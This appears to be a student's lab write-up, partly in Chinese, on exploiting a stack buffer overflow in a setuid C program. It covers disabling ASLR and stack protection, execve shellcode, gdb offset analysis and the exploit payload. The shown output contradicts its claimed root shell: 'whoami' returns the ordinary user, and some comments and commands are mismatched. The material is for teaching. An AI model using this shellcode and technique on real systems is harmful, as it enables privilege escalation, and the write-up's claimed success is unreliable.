Lab 2.3 Buffer Overflow Vulnerability

Overview

The learning objective of this lab is for students to gain the first-hand experience on buffer-overflow vulnerability by putting what they have learned about the vulnerability from class into actions. Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffers. This vulnerability can be utilized by a malicious user to alter the flow control of the program, even execute arbitrary pieces of code. This vulnerability arises due to the mixing of the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address.

In this lab, you will be given a program with a buffer-overflow vulnerability; your task is to develop a scheme to exploit the vulnerability and finally to gain the root privilege. It uses Ubuntu VM created in Lab 2.1. Ubuntu 12.04 is recommended.

1. Initial Setup

   Linux Security Mechanisms

   Address Space Randomization. Ubuntu and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses
   difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable
   these features using the following commands:

   $ su root
   Password: (enter root password)
   #sysctl -w kernel.randomize_va_space=0

```
peteryap@peteryap-vm:~$ su root
Password:
root@peteryap-vm:/home/peteryap# sysctl -w kernel.randomize_va_space=0
```

   ExecShield Protection. Fedora linux implements a protection mechanism called ExecShield by default, but Ubuntu systems do not have this protection by default. ExecShield essentially disallows executing any code that is stored in the stack. As a result, buffer-overflow attacks will not work. To disable ExecShield in Fedora, you may use the following command.

   $ su root
   Password: (enter root password)
   # sysctl -w kernel.exec-shield=0

```
root@peteryap-vm:/home/peteryap# sysctl -w kernel.exec-shield=0
```

GCC Security Mechanisms

The StackGuard Protection Scheme. The GCC compiler implements a security mechanism called "Stack Guard" to prevent buffer overflows. In the presence of this protection, buffer overflow will not work. You can disable this protection when you are comiling the program using the switch -fno-stack-protector. For example, to compile a program example.c with Stack Guard disabled, you may use the following command:

```
$ gcc -fno-stack-protector example.c
```

Non-Executable Stack. Ubuntu used to allow executable stacks, but this has now changed: the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the recent versions of gcc, and by default, the stack is set to be non-executable. To change that, use the following option when compiling programs:

For executable stack:`$ gcc -z execstack -o test test.c`

For non-executable stack:`$ gcc -z noexecstack -o test test.c`

2. Before you start the attack, you need a shellcode. A shellcode is the code to launch a shell. It has to be loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following program:

```
#include <stdio.h>
int main( ) {
 char *name[2];
 name[0] = ''/bin/sh'';
 name[1] = NULL;
 execve(name[0], name, NULL);
}
```

The shellcode that we use is just the assembly version of the above program. The following program shows you how to launch a shell by executing a shellcode stored in a buffer. Please compile and run the following code, and see whether a shell is invoked.

For 32bit, Insert command “vi call_shellcode.c” and write the following code.

call_shellcode.c

```
/*call_shellcode.c*/
/*for linux 64bit*/
/*A program that creates a file containing code for launching shell*/
#include<stdlib.h>
#include<stdio.h>
const char code[] =
        "\x31\xc0" /*Line 1 : xor1 %eax, %eax*/
        "\x50" /*Line 2 : push1 %eax*/
        "\x68""//sh" /*Line 3 : pushl &0x68732f2f*/
        "\x68""/bin" /*Line 4 : pushl &0x6369622f*/
        "\x89\xe3" /*Line 5 : movl %esp,%ebx*/
        "\x50" /*Line 6 : pushl %eax*/
        "\x53" /*Line 7 : pushl %ebx*/
        "\x89\xe1" /*Line 8 : movl %esp, %ecx*/
        "\x99" /*Line 9 : cdq*/
        "\xb0\x0b" /*Line 10 : movb &0x0b,%al*/
        "\xcd\x80" /*Line 11 : int &0x80*/
        ;
int main(int argc, char **argv)
{
        char buf[sizeof(code)];
        strcpy(buf, code);
        ((void(*)())buf)();
}
```

3. 安装一些必要的组件，并设置禁止地址空间的随机分配，通过命令
   $ sudo apt-get install build-essential module-assistant
   $ sudo apt-get install gcc-multilib g++-multilib
   来安装 32 位的编译方式

```
peteryap@peteryap-vm:~$ sudo apt-get install build-essential module-assistant
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package build-essential
E: Unable to locate package module-assistant
peteryap@peteryap-vm:~$ sudo apt-get install gcc-multilib g++-multilib
Reading package lists... Done
Building dependency tree
Reading state information... Done
Package gcc-multilib is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source

E: Package 'gcc-multilib' has no installation candidate
E: Unable to locate package g++-multilib
E: Couldn't find any package by regex 'g++-multilib'
```

4. Write a program “stack.c”.
   Insert command “vi stack.c” and write the following code.

stack.c

```c
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to explot this vulnerability */
#include<stdlib.h>
#include<stdio.h>
#include<string.h>

int bof(char *str)
{
        char buffer[12];

        /*The following statement has a buffer overflow problem.*/
        strcpy(buffer, str);
        return 1;
}

int main(int argc, char **argv)
{
        char str[517];
        FILE *badfile;
        badfile = fopen("badfile","r");
        fread(str, sizeof(char), 517, badfile);
        bof(str);
        printf("Returned Properly\n");
        return 1;
}
```

5. Compile the Vulnerable Program and make it set-root-uid. You can achieve this by compiling it in the root account, and chmod the executable to 4755: (32bit)
   $ su root
   Password (enter root password)
   # gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
   # chmod 4755 stack
   # exit

```
peteryap@peteryap-vm:~$ su root
Password:
root@peteryap-vm:/home/peteryap# gcc -o stack -z execstack -fno-stack-protector
stack.c
root@peteryap-vm:/home/peteryap# chmod 4755 stack
root@peteryap-vm:/home/peteryap# exit
exit
```

6. A partially completed exploit code called "exploit.c". The goal of this code is to construct contents for "badfile". In this code, the shellcode is given and I need to develop the rest.

7. 通过 gdb stack 获取 shellcode 在内存中的地址，使用 disass command 来查看汇编代码。
   这里我们关注函数 bof 的汇编代码

```
(gdb) disass bof
Dump of assembler code for function bof:
   0x0000122d <+0>:     endbr32
   0x00001231 <+4>:     push   %ebp
   0x00001232 <+5>:     mov    %esp,%ebp
   0x00001234 <+7>:     push   %ebx
   0x00001235 <+8>:     sub    $0x14,%esp
   0x00001238 <+11>:    call   0x12ec <__x86.get_pc_thunk.ax>
   0x0000123d <+16>:    add    $0x2d8f,%eax
   0x00001242 <+21>:    sub    $0x8,%esp
   0x00001245 <+24>:    pushl  0x8(%ebp)
   0x00001248 <+27>:    lea    -0x14(%ebp),%edx
   0x0000124b <+30>:    push   %edx
   0x0000124c <+31>:    mov    %eax,%ebx
   0x0000124e <+33>:    call   0x10b0 <strcpy@plt>
   0x00001253 <+38>:    add    $0x10,%esp
   0x00001256 <+41>:    mov    $0x1,%eax
   0x0000125b <+46>:    mov    -0x4(%ebp),%ebx
   0x0000125e <+49>:    leave
   0x0000125f <+50>:    ret
End of assembler dump.
```

   从这可看到 strcpy 这个函数传入了两个参数 str 和 buffer 指针，buffer 对应的地址可以在 0x0000124c 中的寄存器 eax 中找到，因此通过 b *bof+31 设置断点，然后通过 r command 来启动运行。

```
(gdb) b *bof+31
Breakpoint 1 at 0x124c: file stack.c, line 12.
(gdb) run
Starting program: /home/randomstar/stack

Breakpoint 1, 0x5655624c in bof (
    str=0xffffcfc7 '\220' <repeats 24 times>, "l\320\377\377") at stack.c:12
12          strcpy(buffer, str);
```

   遇到 breakpoint 时，通过 command “i r eax”来查看寄存器中的值，得到 0xffffcf6c，也可以用”i r esp”来获得函数的返回地址 0xffffcf80+4，这个+4 是因为 ebp 被压入栈，因此需要+4

```
(gdb) i r eax
eax            0xffffcf6c          -12524
(gdb) i r esp
esp            0xffffcf80          0xffffcf80
```

计算差值可得地址的偏移量为 0x18，也就是 24，如果需要 buffer 覆盖原来的地址，只需要修改 buffer+24 的返回地址，堆栈增长的方向是 bof 函数参数，返回地址，old ebp，buffer 的参数(从高地址到低地址)，而返回的地址指向 shellcode 存放的地址，我们假设存放的地方在 buffer+0x100 处，则实际的地址是 0xffffcf6c+0x100=0xffffd06c

因此在 exploit.c 文件的代码填写处中应该填写的内容是

```
/*You need to fill the buffe with appropriate contents here*/
const char address[]="\x6c\xd0\xff\xff";
strcpy(buffer+24,address);
strcpy(buffer+0x100,code);
```

执行 exploit.c

```
peteryap-vm:/home/peteryap# gcc -o exploit exploit.c
peteryap-vm:/home/peteryap# ./exploit
peteryap-vm:/home/peteryap# ./stack
```

```
$ whoami
peteryap
```

8. We get the root shell successfully. Lesson complete.